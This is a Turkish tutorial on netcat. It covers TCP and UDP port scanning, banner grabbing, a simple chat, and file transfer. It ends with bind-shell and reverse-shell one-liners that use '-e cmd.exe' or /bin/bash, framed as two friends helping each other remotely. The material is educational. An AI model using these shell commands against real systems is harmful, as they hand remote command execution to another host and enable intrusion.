netcat kullanımı ile “cool” hareketler (basit netcat kullanımı örnekleri)

Netcat TCP , UDP portlarını okuyabilen ve yazabilen çok yönlü bir araçtır. Netcat ile port dinleme, port tarama ,port dinleme, bağlantı oluşturma gibi birçok şey yapabilirsiniz. Kendi başına kullanılabileceği gibi başka bir uygulamanın arkaplanında da çalışabilir.

“nc -h” komutuyla yardım görüntülenebileceğini belirttikten sonra birkaç basit uygulama yapalım.

Port tarama
TCP port taramasının ardındaki fikir three way handshake (3’lü el sıkışma)dir. RFC ye göre açık bir TCP portuna bir SYN paketi gönderildiğinde ACK ile cevap verilmelidir. Kapalı portta ise
RST paketi gönderilir. Biz örnek olarak TCP 139 nolu Netbios-ssn servisi portunu tarayacağız.. “nc -v hedef_IP 139” komutunu veriyoruz. Netcat bağlantıyı kurup bize portun açık olduğu bilgisini veriyor ve sonraki komutlarımızı bekliyor.
nc port tarama
Eğer bu komut esnasında Wireshark kullanarak gidip gelen paketleri dinlersek three way handshake ‘i görebiliriz.
Aşağıdaki görüntüde 3 numaralı paket SYN paketi tarafımızdan gönderiliyor. Ardından karşı sistem bu paketi port açık olduğu için 4 te görülen SYN,ACK paketi ile cevaplıyor. Bizde 5 teki gibi ACK paketi ile onu cevaplayıp el sıkışmayı tamamlıyoruz.
three way hanshake
Eğer port kapalı olsaydı biz SYN  paketini gönderdiğimizde karşıdan RST (reset) paketi ile cevaplandırılacaktık ve bağlantı sonlanacaktı.
Bir UDP portu tarayacak olursak burada biraz farklı bir mantığın olduğunu görürüz. Çünkü UDP stateless bir protokoldür ve three way hanshake kullanmaz.
“nc -vvnzu -w 1 192.168.72.133 160-163” ile ( -vv : extra verbosity, n: no name resolution, w: wait 1 second timeout, z: port; u:udp tarama modu) ile 160 163 arasındaki portları tarıyoruz. UDP port taraması yapılırken boş bir UDP paketi yollanır port açıksa cevap gelmez, kapalıysa bağlantı (ICMP unreachable mesajı ile) reddedilir. Ancak cevap gelmemesi hedefin ayakta olmamasından ya da firewall un bu hedefe ICMP mesajlarını engellemesinden kaynaklanıyor olabilir. Dolayısıyla bizde false-positive dediğimiz aslında doğru olmayan bir sonuç alırız. Ayrıca port taramasının yoğunluğu IDS veya IPS ‘in dikkatini çekebilir ve mesajlar düşürülebilir.

  • Banner yakalama (Banner Grabbing)
    “nc -v localhost 80” (-v verbosity) komutunu vererek kendi makinemde çalışan http (port 80) servisine bağlanıyorum. Bağlantı sağlandıktan sonra “HEAD / HTTP/1.1” komutunu veriyorum ve sunucu bana banner bilgisini dönderiyor.
    nc1Böylece apache 2.2.22 versiyonu kullanıldığını vs. görmüş oluyorum. Bu yöntem kullanılırken servis bannerlarının değiştirilmiş veya spoof edilmiş olabileceği unutulmamalıdır.
  • Basit Chat Sistemi
    İki bir Linux ile bir xp makine arasında basit bir chat hizmeti oluşturacağız. Bunun için xp makinanın C:WINDOWS klasörüne nc.exe dosyasını atıyoruz. cd komutunu kullanarak gerekli konuma geçiş yapıp        (yine xp de) netcat ‘i port 4444 ü dinleyecek şekilde “nc -lvp 4444” (-l : listen, v : verbosely, p : port 4444 ) komutuyla ayarlıyoruz. Bu işlem “netstat -an :FIND “4444”  ile ( : nin altgr ve z nin solundaki tuşla yapıldığına dikkat) doğrulanabilir.
    Şimdi linux üzerinden “nc -v xp_nin_IP_adresi 4444”  ile bağlanabiliriz. Artık komut satırına yazdıklarımız xp nin komut satırında görüntülenecektir.
    wake up neo
  •  Dosya Transferi
    “nc -lvp port_numarası” komutunu kullanarak istediğimiz bir portu dinlemeye alabiliriz. Bunu kullanarak netcat aracılığıyla Linux makinemizden Xp makinemize dosya transferi yapalım.
    Xp makinemizde “nc -lvp 4444 > gelenmesaj.txt” (l:listen , v:verbosily p:port ) komutuyla 4444 portu dinlemeye alıyoruz ve gelen veriyi gelenmesaj.txt dosyasına yönlendiriyoruz. Linux makinemizde ise “nc -v xp_nin_ip_adresi 4444 < gidenmesaj.txt”  komutuyla  gidenmesaj.txt dosyasını karşıya aktarıyoruz.

    • Uzak Yönetim (Remote Administration)
      Netcat basit konsol programları için network wrapper olarak görev yapabilir. Standart girdi ve çıktıyı (input ve outputu) ağa yönlendirerek cmd.exe gibi bir konsol programı local bir porta (bind) bağlayabilir. Bu işlem bind shell olarak bilinir. Bu porta bağlanan herkese komut satırı sunulmuş olur. Burada karşımıza iki senaryo çıkar:
      Bind Shell
      Elimizde router arkasında (NAT ‘lanarak internete çıkan, private IP kullanan) Ali ve public IP ile doğrudan internete çıkan Bahri ‘nin olduğu bir senaryo olsun. Bahri, Ali ‘nin yardımını istiyor.
      Bahri “nc -lvp 4444 -e cmd.exe” (e : execute) komutunu vererek 4444 numaralı porta gelen verileri execute ederek cmd.exe nin standart input outputlarını bu porta yönlendiriyor.
      Artık Ali “nc -v bahrinin_IPsi 4444” komutunu kullanarak bağlandıktan sonra komut satırına ulaşabilir. Ali’nin sahip olduğu haklar Bahri’nin sahip olduğu haklara bağlıdır.
      Reverse Shell (Tersine kabuk bağlantısı)
      Elimizde router arkasındaki (NAT ‘lanarak internete çıkan, private IP kullanan) Ali ve public IP ile doğrudan internete çıkan Bahri ‘nin olduğu bir senaryo olsun. Ali, Bahri’den yardım istesin.
      Ali router arkasında olduğu için (private IP kullandığı için) Ali ‘nin reverse shell oluşturması gerekiyor. Bahri “nc -lvp 4444” ile gelen istekleri dinliyor. Ali ise “nc -nv bahrinin_IPsi 4444 -e cmd.exe” (linux için /bin/bash) ile Bahri’ye reverse shell bağlantısı açıyor.